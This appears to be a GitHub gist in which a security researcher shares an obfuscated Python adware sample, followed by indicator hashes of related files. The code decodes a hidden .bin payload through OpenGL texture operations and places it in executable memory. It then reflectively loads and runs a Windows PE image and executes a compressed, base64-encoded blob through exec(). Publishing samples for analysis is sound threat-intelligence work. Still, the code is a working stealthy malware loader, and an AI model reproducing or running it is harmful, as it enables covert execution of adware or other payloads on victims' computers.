gl.glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_NEAREST);
gl.glTexImage2D(GL_TEXTURE_2D,0,GL_RGB8,64,64,0,GL_RGB,GL_UNSIGNED_BYTE,0)
gl.glBindTexture(GL_TEXTURE_2D,0)
gl.glVertexPointer(2,GL_SHORT,8,vb)
gl.glTexCoordPointer(2,GL_SHORT,8,vb+4)
gl.glDisable(GL_DITHER)
gl.glEnable(GL_TEXTURE_2D)
gl.glEnable(GL_COLOR_LOGIC_OP)
gl.glShadeModel(GL_FLAT)
if jvpMB(gl,'glHint'):
gl.glHint(GL_POINT_SMOOTH_HINT,GL_FASTEST)
gl.glHint(GL_LINE_SMOOTH_HINT,GL_FASTEST)
gl.glHint(GL_POLYGON_SMOOTH_HINT,GL_FASTEST)
gl_list=gl.glGenLists(num_display_lists)
if gl_list==0:
jvpMW()
gl.glListBase(gl_list)
gl.glViewport(0,0,64,64)
def jvpMb():
global gl_wnd,gl_rc,gl_tex
gl.wglMakeCurrent(0,0);
user32.ReleaseDC(gl_dc,gl_wnd)
gl.wglDeleteContext(gl_rc);
user32.DestroyWindow(gl_wnd);
def jvpMQ(tex,log_op,coord_index=0,coord_step=1):
gl.glLogicOp(log_op);
gl.glColor3ub(0xff,0xff,0xff)
gl.glBindTexture(GL_TEXTURE_2D,tex)
vertex_coord_array=[[-1,-1],[-1,1],[1,1],[1,-1]]
texture_coord_array=[[0,0],[0,1],[1,1],[1,0]]
gl.glBegin(GL_QUADS)
for i in jvpMg(0,4):
t=texture_coord_array[i]
gl.glTexCoord2f(t[0],t[1])
v=vertex_coord_array[coord_index&3];coord_index+=coord_step
gl.glVertex2f(v[0],v[1])
gl.glEnd()
def jvpMS(buf_size,num_lists,prolog_len,info):
path=jvpMf.abspath(jvpMI[0])
path=jvpMf.splitext(path)[0]+'.bin'
f=jvpMi(path,'rb')
data=f.read()
f.close()
data_size=jvpMX(data)
info=jvpMm(jvpMR(info))
buf=kernel32.VirtualAlloc(0,buf_size,0x00001000,0x40)
if buf==0:
jvpMU("Out of virtual memory")
memmove(buf,data,data_size)
vb=buf+data_size-0x800
jvpMc(vb,num_lists)
exec(info[0:prolog_len])
render_info=jvpMN(info[prolog_len:])
curr_t=gl_tex[0]
prev_t=gl_tex[1]
curr_ct=gl_tex[2]
prev_ct=gl_tex[3]
tex=vb-0x3000
gl.glBindTexture(GL_TEXTURE_2D,prev_t)
gl.glTexImage2D(GL_TEXTURE_2D,0,GL_RGB8,64,64,0,GL_RGB,GL_UNSIGNED_BYTE,tex)
gl.glBindTexture(GL_TEXTURE_2D,prev_ct)
gl.glTexImage2D(GL_TEXTURE_2D,0,GL_RGB8,64,64,0,GL_RGB,GL_UNSIGNED_BYTE,tex)
data_size-=0x3800
num_textures=data_size//0x3000
p=buf
for i in jvpMg(0,num_textures):
gl.glBindTexture(GL_TEXTURE_2D,curr_ct)
gl.glTexImage2D(GL_TEXTURE_2D,0,GL_RGB8,64,64,0,GL_RGB,GL_UNSIGNED_BYTE,p)
jvpMQ(curr_ct,GL_COPY_INVERTED if i&2 else GL_COPY,1)
a=render_info[i]
def jvpMk(a,tex):
gl.glBindTexture(GL_TEXTURE_2D,tex)
if tex:
gl.glColor3ub(0xff,0xff,0xff)
gl.glEnableClientState(GL_TEXTURE_COORD_ARRAY)
else:
gl.glEnableClientState(GL_VERTEX_ARRAY)
n=jvpMX(a)
p=(c_short*n)()
for i in jvpMg(0,n):
p[i]=a[i]
gl.glCallLists(n,GL_SHORT,byref(p))
gl.glDisableClientState(GL_VERTEX_ARRAY)
gl.glDisableClientState(GL_TEXTURE_COORD_ARRAY)
jvpMk(a[0],0)
jvpMk(a[1],prev_ct)
jvpMk(a[2],prev_t)
jvpMQ(prev_t,GL_EQUIV if i&1 else GL_XOR,-1)
gl.glBindTexture(GL_TEXTURE_2D,curr_t)
gl.glCopyTexImage2D(GL_TEXTURE_2D,0,GL_RGB8,0,0,64,64,0)
gl.glReadPixels(0,0,64,64,GL_RGB,GL_UNSIGNED_BYTE,p);p+=0x3000
curr_t,prev_t=prev_t,curr_t
curr_ct,prev_ct=prev_ct,curr_ct
if buf_size>data_size:
memset(buf+data_size,0,buf_size-data_size)
jvpMb()
return buf
IMAGE_DOS_SIGNATURE =0x5A4D
IMAGE_NT_SIGNATURE =0x00004550
IMAGE_NUMBEROF_DIRECTORY_ENTRIES =16
IMAGE_SIZEOF_SHORT_NAME =8
IMAGE_DIRECTORY_ENTRY_EXPORT =0
IMAGE_DIRECTORY_ENTRY_IMPORT =1
IMAGE_DIRECTORY_ENTRY_RESOURCE =2
IMAGE_DIRECTORY_ENTRY_EXCEPTION =3
IMAGE_DIRECTORY_ENTRY_SECURITY =4
IMAGE_DIRECTORY_ENTRY_BASERELOC =5
IMAGE_DIRECTORY_ENTRY_DEBUG =6
IMAGE_DIRECTORY_ENTRY_COPYRIGHT =7
IMAGE_DIRECTORY_ENTRY_ARCHITECTURE =7
IMAGE_DIRECTORY_ENTRY_GLOBALPTR =8
IMAGE_DIRECTORY_ENTRY_TLS =9
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG =10
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT =11
IMAGE_DIRECTORY_ENTRY_IAT =12
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT =13
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR =14
class jvpMA(Structure):
_fields_=[('e_magic',WORD),('e_cblp',WORD),('e_cp',WORD),('e_crlc',WORD),('e_cparhdr',WORD),('e_minalloc',WORD),('e_maxalloc',WORD),('e_ss',WORD),('e_sp',WORD),('e_csum',WORD),('e_ip',WORD),('e_cs',WORD),('e_lfarlc',WORD),('e_ovno',WORD),('e_res',WORD*4),('e_oemid',WORD),('e_oeminfo',WORD),('e_res2',WORD*10),('e_lfanew',LONG),]
class jvpMy(Structure):
_fields_=[('Machine',WORD),('NumberOfSections',WORD),('TimeDateStamp',DWORD),('PointerToSymbolTable',DWORD),('NumberOfSymbols',DWORD),('SizeOfOptionalHeader',WORD),('Characteristics',WORD),]
class jvpMT(Structure):
_fields_=[('VirtualAddress',DWORD),('Size',DWORD),]
class jvpMV(Structure):
_fields_=[('Magic',WORD),('MajorLinkerVersion',BYTE),('MinorLinkerVersion',BYTE),('SizeOfCode',DWORD),('SizeOfInitializedData',DWORD),('SizeOfUninitializedData',DWORD),('AddressOfEntryPoint',DWORD),('BaseOfCode',DWORD),('BaseOfData',DWORD),('ImageBase',DWORD),('SectionAlignment',DWORD),('FileAlignment',DWORD),('MajorOperatingSystemVersion',WORD),('MinorOperatingSystemVersion',WORD),('MajorImageVersion',WORD),('MinorImageVersion',WORD),('MajorSubsystemVersion',WORD),('MinorSubsystemVersion',WORD),('Win32VersionValue',DWORD),('SizeOfImage',DWORD),('SizeOfHeaders',DWORD),('CheckSum',DWORD),('Subsystem',WORD),('DllCharacteristics',WORD),('SizeOfStackReserve',DWORD),('SizeOfStackCommit',DWORD),('SizeOfHeapReserve',DWORD),('SizeOfHeapCommit',DWORD),('LoaderFlags',DWORD),('NumberOfRvaAndSizes',DWORD),('DataDirectory',jvpMT*IMAGE_NUMBEROF_DIRECTORY_ENTRIES),]
class jvpMa(Structure):
_fields_=[('Signature',DWORD),('FileHeader',jvpMy),('OptionalHeader',jvpMV),]
class jvpMC(Structure):
_fields_=[('Name',BYTE*IMAGE_SIZEOF_SHORT_NAME),('VirtualSize',DWORD),('VirtualAddress',DWORD),('SizeOfRawData',DWORD),('PointerToRawData',DWORD),('PointerToRelocations',DWORD),('PointerToLinenumbers',DWORD),('NumberOfRelocations',WORD),('NumberOfLinenumbers',WORD),('Characteristics',DWORD),]
class jvpML(Structure):
_fields_=[('Characteristics',DWORD),('TimeDateStamp',DWORD),('MajorVersion',WORD),('MinorVersion',WORD),('Name',DWORD),('Base',DWORD),('NumberOfFunctions',DWORD),('NumberOfNames',DWORD),('AddressOfFunctions',DWORD),('AddressOfNames',DWORD),('AddressOfNameOrdinals',DWORD),]
class jvpMs(Structure):
_fields_=[('OriginalFirstThunk',DWORD),('TimeDateStamp',DWORD),('ForwarderChain',DWORD),('Name',DWORD),('FirstThunk',DWORD),]
class jvpMt(Structure):
_fields_=[('VirtualAddress',DWORD),('SizeOfBlock',DWORD),]
def jvpMO(data,size):
buf=kernel32.VirtualAlloc(0,size,0x00001000,0x40)
if buf==0:
jvpMU("Out of virtual memory")
memmove(buf,data,jvpMX(data))
return jvpMn(buf)
def jvpMn(buf):
nthdrs=jvpMJ(buf)
jvpMq(buf,nthdrs)
jvpMu(buf,nthdrs)
jvpMo(buf,nthdrs)
entry=buf+jvpMd(nthdrs+jvpMa.OptionalHeader.offset+jvpMV.AddressOfEntryPoint.offset)
return WINFUNCTYPE(jvpMP)(entry)
def jvpMJ(base):
if jvpMD(base)!=IMAGE_DOS_SIGNATURE:
jvpMU("Not an MZ image!")
rva=jvpMd(base+jvpMA.e_lfanew.offset)
nthdrs=base+rva
if jvpMd(nthdrs)!=IMAGE_NT_SIGNATURE:
jvpMU("Not an PE image!")
return nthdrs
def jvpMz(nthdrs):
return nthdrs+jvpMa.OptionalHeader.offset+jvpMD(nthdrs+jvpMa.FileHeader.offset+jvpMy.SizeOfOptionalHeader.offset)
def jvpMq(base,nthdrs):
section_list=jvpMz(nthdrs)
c=jvpMD(nthdrs+jvpMa.FileHeader.offset+jvpMy.NumberOfSections.offset)
if c<=0:
jvpMW()
while jvpKM:
c-=1
section=section_list+c*sizeof(jvpMC)
src=base+jvpMd(section+jvpMC.PointerToRawData.offset)
dst=base+jvpMd(section+jvpMC.VirtualAddress.offset)
size=jvpMd(section+jvpMC.SizeOfRawData.offset)
memmove(dst,src,size)
bytes_left=dst-src
if bytes_left>size:
bytes_left=size
memset(src,0,bytes_left)
if c<=0:
break
def jvpMu(base,nthdrs):
fixup_dir=nthdrs+jvpMa.OptionalHeader.offset+jvpMV.DataDirectory.offset+IMAGE_DIRECTORY_ENTRY_BASERELOC*sizeof(jvpMT)
rva=jvpMd(fixup_dir+jvpMT.VirtualAddress.offset)
if rva==0:
return
fixup_block=base+rva
fixup_dir_size=jvpMd(fixup_dir+jvpMT.Size.offset)
fixup_end=fixup_block+fixup_dir_size
delta=base-jvpMd(nthdrs+jvpMa.OptionalHeader.offset+jvpMV.ImageBase.offset)
if delta==0:
return
while fixup_block<fixup_end:
page=base+jvpMd(fixup_block+jvpMt.VirtualAddress.offset)
offsets=fixup_block+sizeof(jvpMt)
size=jvpMd(fixup_block+jvpMt.SizeOfBlock.offset)
size-=sizeof(jvpMt)
size//=2
fixup_block=ntdll.LdrProcessRelocationBlock(page,size,offsets,delta)
if fixup_block==0:
jvpMU('Image relocation failed')
def jvpMo(base,nthdrs):
import_dir=nthdrs+jvpMa.OptionalHeader.offset+jvpMV.DataDirectory.offset+IMAGE_DIRECTORY_ENTRY_IMPORT*sizeof(jvpMT)
rva=jvpMd(import_dir+jvpMT.VirtualAddress.offset)
if rva==0:
return
import_table=base+rva
import_table_size=jvpMd(import_dir+jvpMT.Size.offset)
import_table_end=import_table+import_table_size
while import_table<import_table_end and jvpMd(import_table+jvpMs.OriginalFirstThunk.offset)!=0:
dll_name=base+jvpMd(import_table+jvpMs.Name.offset)
dll=kernel32.LoadLibraryA(dll_name)
if dll==0:
jvpMU("Failed to load the '%s' DLL"%string_at(dll_name))
jvpMx(base,import_table,dll,dll_name)
import_table+=sizeof(jvpMs)
def jvpMx(base,import_desc,dll,dll_name):
ilt_rva=jvpMd(import_desc+jvpMs.OriginalFirstThunk.offset)
iat_rva=jvpMd(import_desc+jvpMs.FirstThunk.offset)
if ilt_rva==0:
ilt_rva=iat_rva
ilt=base+ilt_rva
iat=base+iat_rva
while jvpKM:
ilt_entry=jvpMr(ilt)
if ilt_entry==0:
break
ilt+=sizeof(c_void_p)
if not ilt_entry&0x80000000:
name=base+ilt_entry+2
addr=kernel32.GetProcAddress(dll,name)
if addr==0:
jvpMU("Failed to resolve the the '%s!%s' import"%(string_at(dll_name),string_at(name)))
else:
ordinal=ilt_entry&~0x80000000
addr=kernel32.GetProcAddress(dll,ordinal)
if addr==0:
jvpMU("Failed to resolve the the '%s!%u' import"%(string_at(dll_name),ordinal))
jvpME(iat,addr)
iat+=sizeof(c_void_p)
jvpMn(jvpMS(100352,57,27560,'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'))()
//hash ;)
## uploaded by @JohnLaTwC
## related to this Python adware: https://twitter.com/JohnLaTwC/status/949048002466914304
047c1b5f08d392811847e714c1b285c446b8b0a5ce5fd592de6d1047f3abb49c
04a3141df927f0cfe7ef0dbb06351fad6ead7734f762c1b2af5a12aa437d4479
0908c83b351f07fd395866afa977c545a7d8b514a49b6e0b6b42949624cf3adb
1016c1a42d080261835383f28835e0c8bef158dc59738566c5d1d3cd3a09ada6
11864a8b3225c284cdb10b0e7020219c7aa2f2f0ae5a573b6c5f0b8efced1764
20eeb2fad73b52bb4389505c7524b247a6c402544ae65169f12007a3c666c825
260cd5e1ba0d115a2f2acdb76d17f2763f0186d13ff07e8fc3fd34373d983c4b
29133ae084cc08a384aa2ae642f7ac67352ffee407f428905257852720ba6a36
2cec00b1bb1f00f69629919eca166200bd2dbb2b9415859ccdea3f7e6138452a
3417d1a24ce18d1fe7d7fb13f8521764dacc81b36cd39ad31aeae8f43c5d87d8
387738e3cb39ca3601960ec3845d7c43d58baccb043d7fb193166595b6dae359
389f465c7af84c4ba0e973bc6060aa4c56114befe7044c2c673aa335a9d04114
491dadc7166af8c2e124ad09bb932a852d36cba647519d54570f113e02f55c2b
4a91d4228ade80464b839b4cdf3d4f411ab42a18ce765071a3af2cf0320c057b
4f67c1f3e56e46b6886c49b57955f1f19f0f815e9d8eadddcee0aeb21db6708a
548f479505ae5f7952f6069a1131a4a06799deaa80c47008f14979ed4c823ed9
560cd6deb7708a37b95e4c7e06a8411b768a7f19ed7f40c187dd1e086595f23b
5768986a9e5caf98fd74578becce79c13efcccbc8116d7ffaa46c004a0a6ed3d
590730668d242b13430c46b240bc251ff7d8f29183050d2b36de27a5c927f159
5d0edcfe80adb83b45c56a61f2fdc00e75b8a87fb99edc2d40f7b4b7d7cedcde
61bfe3c2aea6608551b1bfd0faead64de3af327577dc0b18510180348deb24c9
660eb0fe8f36307d4fe5e70235e59148cd23fbee0b03d923c7e8786acbd9782a
676ff4cb2f2af7a94f5511fd875056441827826a09d2e4cfeec5caafb571c1cc
6c82abfd47d8045cad9e230c118b31648cdac5a96c8f4fa5f194329351ca9f62
6d03357bc93c7949d07fd3c95221431053c65e3e1b237e848148c89f20aa70c3
6e706e2bebc1a384f585691039c74752da45036671094eae5026820bcfa80648
6f7c1e51c615eb45adee8f82f48fc32916cc7cf5b171b998e963d4d9112eef7f
71836cdf1c8f8a064d5931d9873384a1a206f527c904890fd57aeecd8a54260a
734e81f1f8acb8485af3968fdf22fda2822ed2b44ae05dabcbb03dd37f778135
853032f334733c20901ca97a98a09af3c98357027f56d62a08f072a6891f706e
856b418e104cbf6cc74ce33f6fc34cb33a0b136cefbee901faa3cdf7fa038221
8a1d119ab7d7173444d6a9560be97e25e56d6a279532a3fd469dc2a4aec7e125
8f0dabb566727e4f1c0fa876b1e5a31d8fee9ea819bd98aea0ae28c194bac2a1
8f2fa293a8d26f39c2d0c82047ba1e040bb7ba79fe51176ed691619f6f333e41
8fd2e8e9fd0bea53140d44f232267f7fca9ef16dcfa1e998385371743f7d7a4b
9151cc981a9e8d4ed30a3325af12736df6b2fa39378abaf29ba5b4b91d9ebdeb
9aad8db80f794b377b011acd92bfa03fc972ea83f76d6c5933fe368ba8475880
9db62fe32fd0ef621365121c9cf1c8b9c0eb09fe0b51e68c7a75583b6ecca1ef
a59930efe04fbb06a971f7b20007ffb530fa623ef797b584776c90f8f20fa917
a5a5067d28713aba2c87f264143f2956d048f134675302c4e7ab8ba8f805eacd
a6ac434920a6e7618f50bfa4eec115353c10b69b6a7c7f1251dfae52849453da
adc8442742e6c8c9f97c801e622362a2f056a0f09d0682488d57b9faad6fff7f
ae79a168b8457ee3c0bb229b851704653258c49d192ddda66d1b6cf8ae1aa7ba
b2f4b90f007a36b22ec3ceda8a1d2bff5742b7ac8675b30216a734ee5f11fcd5
b5e14105c36fe5b3158abc5c9801dc6fc59381664f93651a4698c7fb4c2b4a4e
b70d0f8dc9c6627ba8d18d134b3449998650fb30cb318a942d5c3cda2050aa7b
b826893bf13140f5b0d9ba4c75c2b17babc74d958ed7eb8b928814d82aaee0ec
bf4f91a608183cbbdd8c109617ed3cff38fbfed79a4eb22ac57a85f5614db96c
c1ec04de1010d17db53e48ebcdf5541ec3c886e0157f0a546a292e98019f7f4f
ccb22b33e6b5ac2547c74142a5c0f07db62cb08d982bd31929943a336ab5f113
ccd0a49377a278d75b3183234b670545b92d9d5aac3baabdf694f4f972aec9d0
d14404f8f8e532a5d796a06d43cf9516bb4ce1c12fca2a96126e2253990f04ab
dceb5afd93c41c1602c0f3702a809ad4f5ceefe52f7ebcd5027077592dcda3d5
e0b0800878bb0c8a3485e6648b32c845fd7fef8f0544d11c0e368d64a320684a
e4c075e41f2b43adf00fa5167360a17fb14818d5f3c1aef48c5581cf1b5d5f0b
e5fd7cd41178858df407f1d7a279fcdfbffea74b17bec8459d9bd31ff9d3d092
e86d3a78995ce7bd61297e56fbc344d127cc67cc3adf44e225cf7dd5936f4576
f7b9a572efe11e7c128f23b540527ad0d19abc8215d17043974352be7ca01b1d
ff14cfe7fd76dcea9c977b8c9a1b69f2db026aef96c3919583d996de0593c524
ffeca9038845e03afdaf53d070661b73765af1cf1ed5326b94b9231175659cdb
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment